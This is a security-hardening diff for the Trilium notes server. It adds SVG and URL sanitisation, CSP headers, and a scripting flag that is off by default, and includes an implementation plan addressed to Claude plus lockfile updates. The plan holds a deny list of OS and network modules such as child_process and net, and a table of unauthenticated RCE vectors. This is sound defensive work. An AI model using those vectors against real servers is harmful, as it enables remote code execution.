if (note.hasRelation("shareTemplate")) {
// Skip user-provided EJS templates when scripting is disabled since EJS can execute arbitrary JS.
if (note.hasRelation("shareTemplate") && isScriptingEnabled()) {
// Get the template note and content
const templateId = note.getRelation("shareTemplate")?.value;
const templateNote = templateId && shaca.getNote(templateId);
@@ -300,7 +303,9 @@ function renderIndex(result: Result) {
for (const childNote of rootNote.getChildNotes()) {
const isExternalLink = childNote.hasLabel("shareExternalLink");
const href = isExternalLink ? childNote.getLabelValue("shareExternalLink") : `./${childNote.shareId}`;
const rawHref = isExternalLink ? childNote.getLabelValue("shareExternalLink") : `./${childNote.shareId}`;
// Sanitize href to prevent javascript: / data: URI injection (CWE-79).
const href = isExternalLink ? escapeHtml(sanitizeUrl(rawHref ?? "")) : escapeHtml(rawHref ?? "");
const target = isExternalLink ? `target="_blank" rel="noopener noreferrer"` : "";
result.content += `<li><a class="${childNote.type}" href="${href}" ${target}>${childNote.escapedTitle}</a></li>`;
}
@@ -404,7 +409,10 @@ function handleAttachmentLink(linkEl: HTMLElement, href: string, getNote: GetNot
const linkedNote = getNote(noteId);
if (linkedNote) {
const isExternalLink = linkedNote.hasLabel("shareExternalLink");
const href = isExternalLink ? linkedNote.getLabelValue("shareExternalLink") : `./${linkedNote.shareId}`;
// Sanitize external links to prevent javascript: / data: URI injection (CWE-79).
const href = isExternalLink
? sanitizeUrl(linkedNote.getLabelValue("shareExternalLink") ?? "")
: `./${linkedNote.shareId}`;
if (href) {
linkEl.setAttribute("href", href);
}

View File

@@ -10,6 +10,7 @@ import type SNote from "./shaca/entities/snote.js";
import type SAttachment from "./shaca/entities/sattachment.js";
import { getDefaultTemplatePath, renderNoteContent } from "./content_renderer.js";
import utils from "../services/utils.js";
import { sanitizeSvg, setSvgHeaders } from "../services/svg_sanitizer.js";
function addNoIndexHeader(note: SNote, res: Response) {
if (note.isLabelTruthy("shareDisallowRobotIndexing")) {
@@ -102,10 +103,9 @@ function renderImageAttachment(image: SNote, res: Response, attachmentName: stri
}
}
const svg = svgString;
res.set("Content-Type", "image/svg+xml");
res.set("Cache-Control", "no-cache, no-store, must-revalidate");
res.send(svg);
const sanitized = sanitizeSvg(svgString);
setSvgHeaders(res);
res.send(sanitized);
}
function render404(res: Response) {
@@ -133,6 +133,13 @@ function register(router: Router) {
addNoIndexHeader(note, res);
if (note.isLabelTruthy("shareRaw") || typeof req.query.raw !== "undefined") {
// For HTML and SVG content, add restrictive Content-Security-Policy
// to prevent stored XSS via script execution (CWE-79).
if (note.mime === "text/html" || note.mime === "image/svg+xml") {
res.setHeader("Content-Security-Policy", "default-src 'none'; style-src 'unsafe-inline'; img-src * data:; font-src * data:");
res.setHeader("X-Content-Type-Options", "nosniff");
}
res.setHeader("Content-Type", note.mime).send(note.getContent());
return;
@@ -212,10 +219,17 @@ function register(router: Router) {
}
if (image.type === "image") {
// normal image
res.set("Content-Type", image.mime);
addNoIndexHeader(image, res);
res.send(image.getContent());
if (image.mime === "image/svg+xml") {
// SVG images require sanitization to prevent stored XSS
const content = image.getContent();
const sanitized = sanitizeSvg(typeof content === "string" ? content : content?.toString("utf-8") ?? "");
setSvgHeaders(res);
res.send(sanitized);
} else {
res.set("Content-Type", image.mime);
res.send(image.getContent());
}
} else if (image.type === "canvas") {
renderImageAttachment(image, res, "canvas-export.svg");
} else if (image.type === "mermaid") {
@@ -238,9 +252,17 @@ function register(router: Router) {
}
if (attachment.role === "image") {
res.set("Content-Type", attachment.mime);
addNoIndexHeader(attachment.note, res);
res.send(attachment.getContent());
if (attachment.mime === "image/svg+xml") {
// SVG attachments require sanitization to prevent stored XSS
const content = attachment.getContent();
const sanitized = sanitizeSvg(typeof content === "string" ? content : content?.toString("utf-8") ?? "");
setSvgHeaders(res);
res.send(sanitized);
} else {
res.set("Content-Type", attachment.mime);
res.send(attachment.getContent());
}
} else {
res.status(400).json({ message: "Requested attachment is not a shareable image" });
}

View File

@@ -12,6 +12,7 @@ import host from "./services/host.js";
import buildApp from "./app.js";
import type { Express } from "express";
import { getDbSize } from "./services/sql_init.js";
import { isScriptingEnabled } from "./services/scripting_guard.js";
const MINIMUM_NODE_VERSION = "20.0.0";
@@ -81,6 +82,14 @@ async function displayStartupMessage() {
log.info(`💻 CPU: ${cpuModel} (${cpuInfos.length}-core @ ${cpuInfos[0].speed} Mhz)`);
}
log.info(`💾 DB size: ${formatSize(getDbSize() * 1024)}`);
if (isScriptingEnabled()) {
log.info("WARNING: Script execution is ENABLED. Scripts have full server access including " +
"filesystem, network, and OS commands. Only enable in trusted environments.");
} else {
log.info("Script execution is DISABLED. Set [Scripting] enabled=true in config.ini to enable.");
}
log.info("");
}

View File

@@ -0,0 +1,590 @@
# RCE Hardening - Defense in Depth Implementation Plan
> **For Claude:** REQUIRED SUB-SKILL: Use superpowers:executing-plans to implement this plan task-by-task.
**Goal:** Prevent instant RCE from authenticated access by gating scripting behind a config flag, restricting `require()` to safe modules, adding auth to unauthenticated execution paths, and filtering dangerous attributes from sync.
**Architecture:** Add a `[Scripting]` section to config.ini with `enabled=false` default for server mode. Gate all script execution entry points behind this flag. Restrict `ScriptContext.require()` to a whitelist. Add auth middleware to `/custom/*`. Filter dangerous attributes during sync (same pattern as import's `safeImport`).
**Tech Stack:** TypeScript, Express middleware, Node.js `config.ini` system
---
## Task 1: Add `[Scripting]` config section
**Files:**
- Modify: `apps/server/src/services/config.ts` (add Scripting section to TriliumConfig, configMapping, and config object)
- Modify: `apps/server/src/assets/config-sample.ini` (add [Scripting] section)
**Step 1: Add Scripting section to TriliumConfig interface**
In `config.ts`, add to the `TriliumConfig` interface after `Logging`:
```typescript
/** Scripting and code execution configuration */
Scripting: {
/** Whether backend/frontend script execution is enabled (default: false for server, true for desktop) */
enabled: boolean;
/** Whether the SQL console is accessible (default: false) */
sqlConsoleEnabled: boolean;
};
```
**Step 2: Add configMapping entries**
Add after `Logging` in `configMapping`:
```typescript
Scripting: {
enabled: {
standardEnvVar: 'TRILIUM_SCRIPTING_ENABLED',
iniGetter: () => getIniSection("Scripting")?.enabled,
defaultValue: false,
transformer: transformBoolean
},
sqlConsoleEnabled: {
standardEnvVar: 'TRILIUM_SCRIPTING_SQLCONSOLEENABLED',
aliasEnvVars: ['TRILIUM_SCRIPTING_SQL_CONSOLE_ENABLED'],
iniGetter: () => getIniSection("Scripting")?.sqlConsoleEnabled,
defaultValue: false,
transformer: transformBoolean
}
}
```
**Step 3: Add to config object**
```typescript
Scripting: {
enabled: getConfigValue(configMapping.Scripting.enabled),
sqlConsoleEnabled: getConfigValue(configMapping.Scripting.sqlConsoleEnabled)
}
```
**Step 4: Update config-sample.ini**
Add at the bottom:
```ini
[Scripting]
# Enable backend/frontend script execution. WARNING: Scripts have full server access including
# filesystem, network, and OS commands via require('child_process'). Only enable if you trust
# all users with admin-level access to the server.
# Desktop builds override this to true automatically.
enabled=false
# Enable the SQL console (allows raw SQL execution against the database)
sqlConsoleEnabled=false
```
**Step 5: Commit**
```
feat(security): add [Scripting] config section with enabled=false default
```
---
## Task 2: Create scripting guard utility
**Files:**
- Create: `apps/server/src/services/scripting_guard.ts`
- Create: `apps/server/src/services/scripting_guard.spec.ts`
**Step 1: Write tests**
```typescript
// scripting_guard.spec.ts
import { describe, it, expect, vi, beforeEach, afterEach } from "vitest";
describe("ScriptingGuard", () => {
it("should throw when scripting is disabled", async () => {
vi.doMock("./config.js", () => ({
default: { Scripting: { enabled: false, sqlConsoleEnabled: false } }
}));
const { assertScriptingEnabled } = await import("./scripting_guard.js");
expect(() => assertScriptingEnabled()).toThrow("disabled");
});
it("should not throw when scripting is enabled", async () => {
vi.doMock("./config.js", () => ({
default: { Scripting: { enabled: true, sqlConsoleEnabled: false } }
}));
const { assertScriptingEnabled } = await import("./scripting_guard.js");
expect(() => assertScriptingEnabled()).not.toThrow();
});
it("should throw for SQL console when disabled", async () => {
vi.doMock("./config.js", () => ({
default: { Scripting: { enabled: true, sqlConsoleEnabled: false } }
}));
const { assertSqlConsoleEnabled } = await import("./scripting_guard.js");
expect(() => assertSqlConsoleEnabled()).toThrow("disabled");
});
});
```
**Step 2: Implement**
```typescript
// scripting_guard.ts
import config from "./config.js";
import { isElectron } from "./utils.js";
/**
* Throws if scripting is disabled. Desktop (Electron) always allows scripting.
*/
export function assertScriptingEnabled(): void {
if (isElectron || config.Scripting.enabled) {
return;
}
throw new Error(
"Script execution is disabled. Set [Scripting] enabled=true in config.ini or " +
"TRILIUM_SCRIPTING_ENABLED=true to enable. WARNING: Scripts have full server access."
);
}
export function assertSqlConsoleEnabled(): void {
if (isElectron || config.Scripting.sqlConsoleEnabled) {
return;
}
throw new Error(
"SQL console is disabled. Set [Scripting] sqlConsoleEnabled=true in config.ini to enable."
);
}
export function isScriptingEnabled(): boolean {
return isElectron || config.Scripting.enabled;
}
```
**Step 3: Run tests, verify pass**
**Step 4: Commit**
```
feat(security): add scripting guard utility
```
---
## Task 3: Gate script execution endpoints
**Files:**
- Modify: `apps/server/src/routes/api/script.ts` (add guard to exec, run, bundle endpoints)
- Modify: `apps/server/src/routes/api/sql.ts` (add guard to execute endpoint)
- Modify: `apps/server/src/routes/api/bulk_action.ts` (add guard to execute)
**Step 1: Gate `POST /api/script/exec` and `POST /api/script/run/:noteId`**
In `apps/server/src/routes/api/script.ts`, add at the top of `exec()` and `run()`:
```typescript
import { assertScriptingEnabled } from "../../services/scripting_guard.js";
async function exec(req: Request) {
assertScriptingEnabled();
// ... existing code
}
function run(req: Request) {
assertScriptingEnabled();
// ... existing code
}
```
**Step 2: Gate SQL console**
In `apps/server/src/routes/api/sql.ts`, add at the top of `execute()`:
```typescript
import { assertSqlConsoleEnabled } from "../../services/scripting_guard.js";
function execute(req: Request) {
assertSqlConsoleEnabled();
// ... existing code
}
```
**Step 3: Gate bulk action executeScript**
In `apps/server/src/services/bulk_actions.ts`, add guard inside the `executeScript` handler:
```typescript
import { assertScriptingEnabled } from "./scripting_guard.js";
executeScript: (action, note) => {
assertScriptingEnabled();
// ... existing code
}
```
**Step 4: Verify TypeScript compiles, run tests**
**Step 5: Commit**
```
feat(security): gate script/SQL execution behind Scripting.enabled config
```
---
## Task 4: Gate scheduler and event handler script execution
**Files:**
- Modify: `apps/server/src/services/scheduler.ts` (check isScriptingEnabled before running)
- Modify: `apps/server/src/services/handlers.ts` (check isScriptingEnabled in runAttachedRelations)
- Modify: `apps/server/src/routes/api/script.ts` (gate startup/widget bundle endpoints)
**Step 1: Gate scheduler**
In `scheduler.ts`, the `TRILIUM_SAFE_MODE` check already exists. Augment it with scripting check:
```typescript
import { isScriptingEnabled } from "./scripting_guard.js";
sqlInit.dbReady.then(() => {
if (!process.env.TRILIUM_SAFE_MODE && isScriptingEnabled()) {
setTimeout(cls.wrap(() => runNotesWithLabel("backendStartup")), 10 * 1000);
setInterval(cls.wrap(() => runNotesWithLabel("hourly")), 3600 * 1000);
setInterval(cls.wrap(() => runNotesWithLabel("daily")), 24 * 3600 * 1000);
// ...
}
});
```
**Step 2: Gate event handlers**
In `handlers.ts`, wrap `runAttachedRelations` with a scripting check:
```typescript
import { isScriptingEnabled } from "./scripting_guard.js";
function runAttachedRelations(note: BNote, relationName: string, originEntity: AbstractBeccaEntity<any>) {
if (!note || !isScriptingEnabled()) {
return;
}
// ... existing code
}
```
**Step 3: Gate frontend startup/widget bundles**
In `script.ts` (the route file), gate `getStartupBundles` and `getWidgetBundles`:
```typescript
import { isScriptingEnabled } from "../../services/scripting_guard.js";
function getStartupBundles(req: Request) {
if (!isScriptingEnabled()) {
return { scripts: [], superScripts: [] };
}
// ... existing code
}
```
**Step 4: Verify TypeScript compiles, run tests**
**Step 5: Commit**
```
feat(security): gate scheduler, event handlers, and frontend bundles behind Scripting.enabled
```
---
## Task 5: Add authentication to `/custom/*` routes
**Files:**
- Modify: `apps/server/src/routes/custom.ts` (add optional auth middleware)
**Step 1: Add auth check with opt-out**
The custom handler needs auth by default, but notes with `#customRequestHandlerPublic` label can opt out. Modify `handleRequest`:
```typescript
import auth from "./auth.js";
import { isScriptingEnabled } from "../services/scripting_guard.js";
function handleRequest(req: Request, res: Response) {
if (!isScriptingEnabled()) {
res.status(403).send("Script execution is disabled on this server.");
return;
}
// ... existing path parsing code ...
for (const attr of attrs) {
// ... existing matching code ...
if (attr.name === "customRequestHandler") {
const note = attr.getNote();
// Require authentication unless note has #customRequestHandlerPublic label
if (!note.hasLabel("customRequestHandlerPublic")) {
if (!req.session?.loggedIn) {
res.status(401).send("Authentication required for this endpoint.");
return;
}
}
// ... existing execution code ...
}
}
}
```
**Step 2: Add `customRequestHandlerPublic` to builtin attributes**
In `packages/commons/src/lib/builtin_attributes.ts`, add:
```typescript
{ type: "label", name: "customRequestHandlerPublic", isDangerous: true },
```
**Step 3: Verify TypeScript compiles**
**Step 4: Commit**
```
feat(security): require auth for /custom/* handlers by default, add #customRequestHandlerPublic opt-out
```
---
## Task 6: Restrict `require()` in ScriptContext
**Files:**
- Modify: `apps/server/src/services/script_context.ts` (add module whitelist)
**Step 1: Add module whitelist**
Replace the unrestricted `require()` fallback with a whitelist:
```typescript
// Modules that are safe for user scripts to require.
// These do NOT provide filesystem, network, or OS access.
const ALLOWED_MODULES = new Set([
// Trilium built-in modules (resolved via note titles, not Node require)
// -- these are handled before the fallback
// Safe utility libraries available in node_modules
"dayjs",
"marked",
"turndown",
"cheerio",
"axios", // already exposed via api.axios, but scripts may require it directly
"xml2js", // already exposed via api.xml2js
"escape-html",
"sanitize-html",
"lodash",
// Trilium-specific modules
"trilium:preact",
"trilium:api",
]);
// Modules that are BLOCKED even when scripting is enabled.
// These provide OS-level access that makes RCE trivial.
const BLOCKED_MODULES = new Set([
"child_process",
"cluster",
"dgram",
"dns",
"fs",
"fs/promises",
"net",
"os",
"path",
"process",
"tls",
"worker_threads",
"v8",
"vm",
]);
class ScriptContext {
// ... existing fields ...
require(moduleNoteIds: string[]) {
return (moduleName: string) => {
// First: check note-based modules (existing behavior)
const candidates = this.allNotes.filter((note) => moduleNoteIds.includes(note.noteId));
const note = candidates.find((c) => c.title === moduleName);
if (note) {
return this.modules[note.noteId].exports;
}
// Second: check blocked list
if (BLOCKED_MODULES.has(moduleName)) {
throw new Error(
`Module '${moduleName}' is blocked for security. ` +
`Scripts cannot access OS-level modules like child_process, fs, net, os.`
);
}
// Third: allow if in whitelist, otherwise block
if (ALLOWED_MODULES.has(moduleName)) {
return require(moduleName);
}
throw new Error(
`Module '${moduleName}' is not in the allowed modules list. ` +
`Contact your administrator to add it to the whitelist.`
);
};
}
}
```
**Step 2: Verify TypeScript compiles, run tests**
**Step 3: Commit**
```
feat(security): restrict require() in script context to whitelisted modules
```
---
## Task 7: Filter dangerous attributes from sync
**Files:**
- Modify: `apps/server/src/services/sync_update.ts` (add dangerous attribute filtering)
**Step 1: Add attribute filtering in `updateNormalEntity`**
After `preProcessContent(remoteEC, remoteEntityRow)` at line 92, before `sql.replace()` at line 94, add:
```typescript
import attributeService from "./attributes.js";
import { isScriptingEnabled } from "./scripting_guard.js";
import log from "./log.js";
// In updateNormalEntity, after preProcessContent:
if (remoteEC.entityName === "attributes" && !isScriptingEnabled()) {
const attrRow = remoteEntityRow as { type?: string; name?: string; isDeleted?: number };
if (attrRow.type && attrRow.name && !attrRow.isDeleted &&
attributeService.isAttributeDangerous(attrRow.type, attrRow.name)) {
// Prefix dangerous attributes when scripting is disabled, same as safeImport
log.info(`Sync: disabling dangerous attribute '${attrRow.name}' (scripting is disabled)`);
(remoteEntityRow as any).name = `disabled:${attrRow.name}`;
}
}
```
**Step 2: Verify TypeScript compiles**
**Step 3: Commit**
```
feat(security): filter dangerous attributes from sync when scripting is disabled
```
---
## Task 8: Restrict EJS share templates when scripting is disabled
**Files:**
- Modify: `apps/server/src/share/content_renderer.ts` (skip user EJS templates when scripting disabled)
**Step 1: Add scripting check before EJS rendering**
In `renderNoteContentInternal`, wrap the user template check:
```typescript
import { isScriptingEnabled } from "../services/scripting_guard.js";
// In renderNoteContentInternal, around lines 200-229:
if (note.hasRelation("shareTemplate") && isScriptingEnabled()) {
// ... existing EJS rendering code ...
}
```
When scripting is disabled, user-provided EJS templates are silently ignored and the default template is used instead. This prevents the unauthenticated RCE via share templates.
**Step 2: Verify TypeScript compiles**
**Step 3: Commit**
```
feat(security): skip user EJS share templates when scripting is disabled
```
---
## Task 9: Desktop auto-enable scripting
**Files:**
- Modify: `apps/server/src/services/config.ts` (override Scripting.enabled for Electron)
**Step 1: Auto-enable for desktop**
After the `config` object is built, add:
```typescript
import { isElectron } from "./utils.js";
// At the bottom, before export:
// Desktop builds always have scripting enabled (single-user trusted environment)
if (isElectron) {
config.Scripting.enabled = true;
config.Scripting.sqlConsoleEnabled = true;
}
```
Note: `isElectron` is already imported in utils.ts and is available. Alternatively, the `scripting_guard.ts` already checks `isElectron`, so this step may be redundant but makes the config object truthful.
**Step 2: Check if `isElectron` is available in config.ts scope**
If not available at module load time, the guard in `scripting_guard.ts` already handles this via `isElectron || config.Scripting.enabled`. This step can be skipped if circular import issues arise.
**Step 3: Commit**
```
feat(security): auto-enable scripting for desktop builds
```
---
## Task 10: Add log warnings when scripting is enabled
**Files:**
- Modify: `apps/server/src/services/scheduler.ts` or `apps/server/src/main.ts` (add startup warning)
**Step 1: Add startup log**
In the server startup path, after config is loaded:
```typescript
if (isScriptingEnabled()) {
log.info("WARNING: Script execution is ENABLED. Scripts have full server access including " +
"filesystem, network, and OS commands. Only enable in trusted environments.");
}
```
**Step 2: Commit**
```
feat(security): log warning when scripting is enabled at startup
```
---
## Summary of Protection Matrix
| Attack Vector | Before | After (scripting=false) | After (scripting=true) |
|---|---|---|---|
| `POST /api/script/exec` | Full RCE | **Blocked (403)** | RCE with restricted require() |
| `POST /api/bulk-action/execute` (executeScript) | Full RCE | **Blocked (403)** | RCE with restricted require() |
| `POST /api/sql/execute` | SQL execution | **Blocked (403)** | SQL execution |
| `ALL /custom/*` | Unauthenticated RCE | **Auth required + scripting blocked** | Auth required + restricted require() |
| `GET /share/` (EJS template) | Unauthenticated RCE | **Default template only** | RCE (user templates allowed) |
| `#run=backendStartup` notes | Auto-execute on restart | **Not executed** | Executed with restricted require() |
| Event handlers (`~runOnNoteChange` etc.) | Auto-execute | **Not executed** | Executed with restricted require() |
| Frontend startup/widget scripts | Auto-execute on page load | **Not sent to client** | Executed |
| Sync: dangerous attributes | Applied silently | **Prefixed with `disabled:`** | Applied normally |
| `require('child_process')` | Available | N/A (scripts don't run) | **Blocked** |
| `require('fs')` | Available | N/A (scripts don't run) | **Blocked** |
| Desktop (Electron) | Always enabled | Always enabled | Always enabled |

View File

@@ -19,6 +19,7 @@ export default [
{ type: "label", name: "runOnInstance", isDangerous: false },
{ type: "label", name: "runAtHour", isDangerous: false },
{ type: "label", name: "customRequestHandler", isDangerous: true },
{ type: "label", name: "customRequestHandlerPublic", isDangerous: true },
{ type: "label", name: "customResourceProvider", isDangerous: true },
{ type: "label", name: "widget", isDangerous: true },
{ type: "label", name: "noteInfoWidgetDisabled" },
@@ -81,6 +82,7 @@ export default [
{ type: "label", name: "webViewSrc", isDangerous: true },
{ type: "label", name: "hideHighlightWidget" },
{ type: "label", name: "iconPack", isDangerous: true },
{ type: "label", name: "docName", isDangerous: true },
{ type: "label", name: "printLandscape" },
{ type: "label", name: "printPageSize" },
@@ -106,8 +108,8 @@ export default [
{ type: "relation", name: "widget", isDangerous: true },
{ type: "relation", name: "renderNote", isDangerous: true },
{ type: "relation", name: "shareCss" },
{ type: "relation", name: "shareJs" },
{ type: "relation", name: "shareJs", isDangerous: true },
{ type: "relation", name: "shareHtml" },
{ type: "relation", name: "shareTemplate" },
{ type: "relation", name: "shareTemplate", isDangerous: true },
{ type: "relation", name: "shareFavicon" }
];

View File

@@ -93,7 +93,7 @@
const logoWidth = subRoot.note.getLabelValue("shareLogoWidth") ?? 53;
const logoHeight = subRoot.note.getLabelValue("shareLogoHeight") ?? 40;
const mobileLogoHeight = logoHeight && logoWidth ? 32 / (logoWidth / logoHeight) : "";
const shareRootLink = subRoot.note.hasLabel("shareRootLink") ? subRoot.note.getLabelValue("shareRootLink") : `./${subRoot.note.noteId}`;
const shareRootLink = subRoot.note.hasLabel("shareRootLink") ? sanitizeUrl(subRoot.note.getLabelValue("shareRootLink") ?? "") : `./${subRoot.note.noteId}`;
const headingRe = /(<h[1-6]>)(.+?)(<\/h[1-6]>)/g;
const headingMatches = [...content.matchAll(headingRe)];
content = content.replaceAll(headingRe, (...match) => {
@@ -173,7 +173,8 @@ content = content.replaceAll(headingRe, (...match) => {
const action = note.type === "book" ? "getChildNotes" : "getVisibleChildNotes";
for (const childNote of note[action]()) {
const isExternalLink = childNote.hasLabel("shareExternal") || childNote.hasLabel("shareExternalLink");
const linkHref = isExternalLink ? childNote.getLabelValue("shareExternal") ?? childNote.getLabelValue("shareExternalLink") : `./${childNote.shareId}`;
const rawHref = isExternalLink ? childNote.getLabelValue("shareExternal") ?? childNote.getLabelValue("shareExternalLink") : `./${childNote.shareId}`;
const linkHref = isExternalLink ? sanitizeUrl(rawHref ?? "") : rawHref;
const target = isExternalLink ? ` target="_blank" rel="noopener noreferrer"` : "";
%>
<li>

View File

@@ -57,6 +57,6 @@
%>
<div class="navigation">
<% if (previousNote) { %><a class="previous" href="./<%- previousNote.shareId %>"><%- previousNote.title %></a><% } %>
<% if (nextNote) { %><a class="next" href="./<%- nextNote.shareId %>"><%- nextNote.title %></a><% } %>
<% if (previousNote) { %><a class="previous" href="./<%= previousNote.shareId %>"><%= previousNote.title %></a><% } %>
<% if (nextNote) { %><a class="next" href="./<%= nextNote.shareId %>"><%= nextNote.title %></a><% } %>
</div>

View File

@@ -4,7 +4,7 @@ const isExternalLink = note.hasLabel("shareExternal");
let linkHref;
if (isExternalLink) {
linkHref = note.getLabelValue("shareExternal");
linkHref = sanitizeUrl(note.getLabelValue("shareExternal") ?? "");
} else if (note.shareId) {
linkHref = `./${note.shareId}`;
}

78
pnpm-lock.yaml generated
View File

@@ -254,6 +254,9 @@ importers:
debounce:
specifier: 3.0.0
version: 3.0.0
dompurify:
specifier: 3.2.5
version: 3.2.5
draggabilly:
specifier: 3.0.0
version: 3.0.0
@@ -436,6 +439,12 @@ importers:
'@electron-forge/plugin-auto-unpack-natives':
specifier: 7.11.1
version: 7.11.1
'@electron-forge/plugin-fuses':
specifier: 7.11.1
version: 7.11.1(@electron/fuses@1.8.0)
'@electron/fuses':
specifier: 1.8.0
version: 1.8.0
'@triliumnext/commons':
specifier: workspace:*
version: link:../../packages/commons
@@ -2354,6 +2363,12 @@ packages:
resolution: {integrity: sha512-lKpSOV1GA3FoYiD9k05i6v4KaQVmojnRgCr7d6VL1bFp13QOtXSaAWhFI9mtSY7rGElOacX6Zt7P7rPoB8T9eQ==}
engines: {node: '>= 16.4.0'}
'@electron-forge/plugin-fuses@7.11.1':
resolution: {integrity: sha512-Td517mHf+RjQAayFDM2kKb7NaGdRXrZfPbc7KOHlGbXthp5YTkFu2cCZGWokiqt1y1wsFaAodULhqBIg7vbbbw==}
engines: {node: '>= 16.4.0'}
peerDependencies:
'@electron/fuses': ^1.0.0
'@electron-forge/publisher-base@7.11.1':
resolution: {integrity: sha512-rXE9oMFGMtdQrixnumWYH5TTGsp99iPHZb3jI74YWq518ctCh6DlIgWlhf6ok2X0+lhWovcIb45KJucUFAQ13w==}
engines: {node: '>= 16.4.0'}
@@ -2391,6 +2406,10 @@ packages:
engines: {node: '>=10.12.0'}
hasBin: true
'@electron/fuses@1.8.0':
resolution: {integrity: sha512-zx0EIq78WlY/lBb1uXlziZmDZI4ubcCXIMJ4uGjXzZW0nS19TjSPeXPAjzzTmKQlJUZm0SbmZhPKP7tuQ1SsEw==}
hasBin: true
'@electron/get@2.0.3':
resolution: {integrity: sha512-Qkzpg2s9GnVV2I2BjRksUi43U5e6+zaQMcjoJy0C+C5oxaKl+fmckGDQFtRpZpZV0NQekuZZ+tGz7EA9TVnQtQ==}
engines: {node: '>=12'}
@@ -15990,6 +16009,8 @@ snapshots:
'@ckeditor/ckeditor5-core': 47.4.0
'@ckeditor/ckeditor5-upload': 47.4.0
ckeditor5: 47.4.0
transitivePeerDependencies:
- supports-color
'@ckeditor/ckeditor5-ai@47.4.0(bufferutil@4.0.9)(utf-8-validate@6.0.5)':
dependencies:
@@ -16130,6 +16151,8 @@ snapshots:
'@ckeditor/ckeditor5-utils': 47.4.0
'@ckeditor/ckeditor5-widget': 47.4.0
es-toolkit: 1.39.5
transitivePeerDependencies:
- supports-color
'@ckeditor/ckeditor5-cloud-services@47.4.0':
dependencies:
@@ -16203,6 +16226,8 @@ snapshots:
'@ckeditor/ckeditor5-utils': 47.4.0
'@ckeditor/ckeditor5-watchdog': 47.4.0
es-toolkit: 1.39.5
transitivePeerDependencies:
- supports-color
'@ckeditor/ckeditor5-dev-build-tools@54.3.3(@swc/helpers@0.5.17)(tslib@2.8.1)(typescript@5.9.3)':
dependencies:
@@ -16339,6 +16364,8 @@ snapshots:
'@ckeditor/ckeditor5-utils': 47.4.0
ckeditor5: 47.4.0
es-toolkit: 1.39.5
transitivePeerDependencies:
- supports-color
'@ckeditor/ckeditor5-editor-decoupled@47.4.0':
dependencies:
@@ -16348,6 +16375,8 @@ snapshots:
'@ckeditor/ckeditor5-utils': 47.4.0
ckeditor5: 47.4.0
es-toolkit: 1.39.5
transitivePeerDependencies:
- supports-color
'@ckeditor/ckeditor5-editor-inline@47.4.0':
dependencies:
@@ -16381,8 +16410,6 @@ snapshots:
'@ckeditor/ckeditor5-table': 47.4.0
'@ckeditor/ckeditor5-utils': 47.4.0
ckeditor5: 47.4.0
transitivePeerDependencies:
- supports-color
'@ckeditor/ckeditor5-emoji@47.4.0':
dependencies:
@@ -16439,8 +16466,6 @@ snapshots:
'@ckeditor/ckeditor5-ui': 47.4.0
'@ckeditor/ckeditor5-utils': 47.4.0
ckeditor5: 47.4.0
transitivePeerDependencies:
- supports-color
'@ckeditor/ckeditor5-export-word@47.4.0':
dependencies:
@@ -16465,6 +16490,8 @@ snapshots:
'@ckeditor/ckeditor5-utils': 47.4.0
ckeditor5: 47.4.0
es-toolkit: 1.39.5
transitivePeerDependencies:
- supports-color
'@ckeditor/ckeditor5-font@47.4.0':
dependencies:
@@ -16539,6 +16566,8 @@ snapshots:
'@ckeditor/ckeditor5-utils': 47.4.0
'@ckeditor/ckeditor5-widget': 47.4.0
ckeditor5: 47.4.0
transitivePeerDependencies:
- supports-color
'@ckeditor/ckeditor5-html-embed@47.4.0':
dependencies:
@@ -16565,6 +16594,8 @@ snapshots:
'@ckeditor/ckeditor5-widget': 47.4.0
ckeditor5: 47.4.0
es-toolkit: 1.39.5
transitivePeerDependencies:
- supports-color
'@ckeditor/ckeditor5-icons@47.4.0': {}
@@ -16596,8 +16627,6 @@ snapshots:
'@ckeditor/ckeditor5-ui': 47.4.0
'@ckeditor/ckeditor5-utils': 47.4.0
ckeditor5: 47.4.0
transitivePeerDependencies:
- supports-color
'@ckeditor/ckeditor5-indent@47.4.0':
dependencies:
@@ -16721,8 +16750,6 @@ snapshots:
'@ckeditor/ckeditor5-utils': 47.4.0
ckeditor5: 47.4.0
es-toolkit: 1.39.5
transitivePeerDependencies:
- supports-color
'@ckeditor/ckeditor5-merge-fields@47.4.0':
dependencies:
@@ -16735,8 +16762,6 @@ snapshots:
'@ckeditor/ckeditor5-widget': 47.4.0
ckeditor5: 47.4.0
es-toolkit: 1.39.5
transitivePeerDependencies:
- supports-color
'@ckeditor/ckeditor5-minimap@47.4.0':
dependencies:
@@ -16745,8 +16770,6 @@ snapshots:
'@ckeditor/ckeditor5-ui': 47.4.0
'@ckeditor/ckeditor5-utils': 47.4.0
ckeditor5: 47.4.0
transitivePeerDependencies:
- supports-color
'@ckeditor/ckeditor5-operations-compressor@47.4.0':
dependencies:
@@ -16801,8 +16824,6 @@ snapshots:
'@ckeditor/ckeditor5-utils': 47.4.0
'@ckeditor/ckeditor5-widget': 47.4.0
ckeditor5: 47.4.0
transitivePeerDependencies:
- supports-color
'@ckeditor/ckeditor5-pagination@47.4.0':
dependencies:
@@ -16866,8 +16887,6 @@ snapshots:
'@ckeditor/ckeditor5-ui': 47.4.0
'@ckeditor/ckeditor5-utils': 47.4.0
ckeditor5: 47.4.0
transitivePeerDependencies:
- supports-color
'@ckeditor/ckeditor5-restricted-editing@47.4.0':
dependencies:
@@ -16912,8 +16931,6 @@ snapshots:
'@ckeditor/ckeditor5-ui': 47.4.0
'@ckeditor/ckeditor5-utils': 47.4.0
ckeditor5: 47.4.0
transitivePeerDependencies:
- supports-color
'@ckeditor/ckeditor5-slash-command@47.4.0':
dependencies:
@@ -16926,8 +16943,6 @@ snapshots:
'@ckeditor/ckeditor5-ui': 47.4.0
'@ckeditor/ckeditor5-utils': 47.4.0
ckeditor5: 47.4.0
transitivePeerDependencies:
- supports-color
'@ckeditor/ckeditor5-source-editing-enhanced@47.4.0':
dependencies:
@@ -16975,8 +16990,6 @@ snapshots:
'@ckeditor/ckeditor5-utils': 47.4.0
ckeditor5: 47.4.0
es-toolkit: 1.39.5
transitivePeerDependencies:
- supports-color
'@ckeditor/ckeditor5-table@47.4.0':
dependencies:
@@ -16989,8 +17002,6 @@ snapshots:
'@ckeditor/ckeditor5-widget': 47.4.0
ckeditor5: 47.4.0
es-toolkit: 1.39.5
transitivePeerDependencies:
- supports-color
'@ckeditor/ckeditor5-template@47.4.0':
dependencies:
@@ -17101,8 +17112,6 @@ snapshots:
'@ckeditor/ckeditor5-engine': 47.4.0
'@ckeditor/ckeditor5-utils': 47.4.0
es-toolkit: 1.39.5
transitivePeerDependencies:
- supports-color
